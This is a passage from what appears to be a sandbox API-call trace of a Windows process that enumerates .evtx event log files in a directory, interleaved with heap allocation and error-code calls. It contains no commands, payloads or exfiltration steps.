dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0082.580] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0082.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.581] GetLastError () returned 0x12 [0082.581] SetLastError (dwErrCode=0x12) [0082.581] GetLastError () returned 0x12 [0082.581] SetLastError (dwErrCode=0x12) [0082.581] GetLastError () returned 0x12 [0082.581] SetLastError (dwErrCode=0x12) [0082.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0082.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0082.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0082.581] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0082.581] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.581] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.581] GetLastError () returned 0x12 [0082.581] SetLastError (dwErrCode=0x12) [0082.581] GetLastError () returned 0x12 [0082.581] SetLastError (dwErrCode=0x12) [0082.581] GetLastError () returned 0x12 [0082.582] SetLastError (dwErrCode=0x12) [0082.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0082.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0082.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0082.582] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0082.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.582] GetLastError () returned 0x12 [0082.582] SetLastError (dwErrCode=0x12) [0082.582] GetLastError () returned 0x12 [0082.582] SetLastError (dwErrCode=0x12) [0082.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0082.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.582] GetLastError () returned 0x12 [0082.582] SetLastError (dwErrCode=0x12) [0082.582] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.582] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0082.583] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0082.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.583] GetLastError () returned 0x12 [0082.583] SetLastError (dwErrCode=0x12) [0082.583] GetLastError () returned 0x12 [0082.583] SetLastError (dwErrCode=0x12) [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.583] GetLastError () returned 0x12 [0082.583] SetLastError (dwErrCode=0x12) [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0082.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5698c8 [0082.583] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0082.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.583] GetLastError () returned 0x12 [0082.583] SetLastError (dwErrCode=0x12) [0082.583] GetLastError () returned 0x12 [0082.583] SetLastError (dwErrCode=0x12) [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.583] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0082.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.583] GetLastError () returned 0x12 [0082.584] SetLastError (dwErrCode=0x12) [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0082.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0082.584] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0082.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed28 | out: hHeap=0x520000) returned 1 [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.584] GetLastError () returned 0x12 [0082.584] SetLastError (dwErrCode=0x12) [0082.584] GetLastError () returned 0x12 [0082.584] SetLastError (dwErrCode=0x12) [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57edf0 [0082.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.584] GetLastError () returned 0x12 [0082.584] SetLastError (dwErrCode=0x12) [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0082.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0082.584] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0082.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57edf0 | out: hHeap=0x520000) returned 1 [0082.584] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.584] GetLastError () returned 0x12 [0082.584] SetLastError (dwErrCode=0x12) [0082.584] GetLastError () returned 0x12 [0082.585] SetLastError (dwErrCode=0x12) [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.585] GetLastError () returned 0x12 [0082.585] SetLastError (dwErrCode=0x12) [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0082.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x550e18 [0082.585] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0082.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.585] GetLastError () returned 0x12 [0082.585] SetLastError (dwErrCode=0x12) [0082.585] GetLastError () returned 0x12 [0082.585] SetLastError (dwErrCode=0x12) [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0082.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.585] GetLastError () returned 0x12 [0082.585] SetLastError (dwErrCode=0x12) [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x555868 [0082.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x555868 [0082.585] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0082.585] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0082.585] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.585] GetLastError () returned 0x12 [0082.585] SetLastError (dwErrCode=0x12) [0082.586] GetLastError () returned 0x12 [0082.586] SetLastError (dwErrCode=0x12) [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.586] GetLastError () returned 0x12 [0082.586] SetLastError (dwErrCode=0x12) [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0082.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0082.586] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0082.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.586] GetLastError () returned 0x12 [0082.586] SetLastError (dwErrCode=0x12) [0082.586] GetLastError () returned 0x12 [0082.586] SetLastError (dwErrCode=0x12) [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.586] GetLastError () returned 0x12 [0082.586] SetLastError (dwErrCode=0x12) [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0082.586] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0082.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.586] GetLastError () returned 0x12 [0082.587] SetLastError (dwErrCode=0x12) [0082.587] GetLastError () returned 0x12 [0082.587] SetLastError (dwErrCode=0x12) [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.587] GetLastError () returned 0x12 [0082.587] SetLastError (dwErrCode=0x12) [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0082.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x56c808 [0082.587] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0082.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.587] GetLastError () returned 0x12 [0082.587] SetLastError (dwErrCode=0x12) [0082.587] GetLastError () returned 0x12 [0082.587] SetLastError (dwErrCode=0x12) [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.587] GetLastError () returned 0x12 [0082.587] SetLastError (dwErrCode=0x12) [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0082.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x553500 [0082.587] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0082.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.588] GetLastError () returned 0x12 [0082.588] SetLastError (dwErrCode=0x12) [0082.588] GetLastError () returned 0x12 [0082.588] SetLastError (dwErrCode=0x12) [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.588] GetLastError () returned 0x12 [0082.588] SetLastError (dwErrCode=0x12) [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x553578 [0082.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553578 | out: hHeap=0x520000) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5673a0 [0082.588] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0082.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.588] GetLastError () returned 0x12 [0082.588] SetLastError (dwErrCode=0x12) [0082.588] GetLastError () returned 0x12 [0082.588] SetLastError (dwErrCode=0x12) [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.588] GetLastError () returned 0x12 [0082.588] SetLastError (dwErrCode=0x12) [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0082.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0082.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0082.588] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0082.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.589] GetLastError () returned 0x12 [0082.589] SetLastError (dwErrCode=0x12) [0082.589] GetLastError () returned 0x12 [0082.589] SetLastError (dwErrCode=0x12) [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.589] GetLastError () returned 0x12 [0082.589] SetLastError (dwErrCode=0x12) [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0082.589] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0082.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.589] GetLastError () returned 0x12 [0082.589] SetLastError (dwErrCode=0x12) [0082.589] GetLastError () returned 0x12 [0082.589] SetLastError (dwErrCode=0x12) [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.589] GetLastError () returned 0x12 [0082.589] SetLastError (dwErrCode=0x12) [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0082.589] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0082.589] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0082.590] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0082.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0082.590] GetLastError () returned 0x12 [0082.590] SetLastError (dwErrCode=0x12) [0082.590] GetLastError () returned 0x12 [0082.590] SetLastError (dwErrCode=0x12) [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0082.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0082.590] GetLastError () returned 0x12 [0082.590] SetLastError (dwErrCode=0x12) [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0082.590] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0082.590] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0082.590] FindNextFileW (in: hFindFile=0x552b60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, 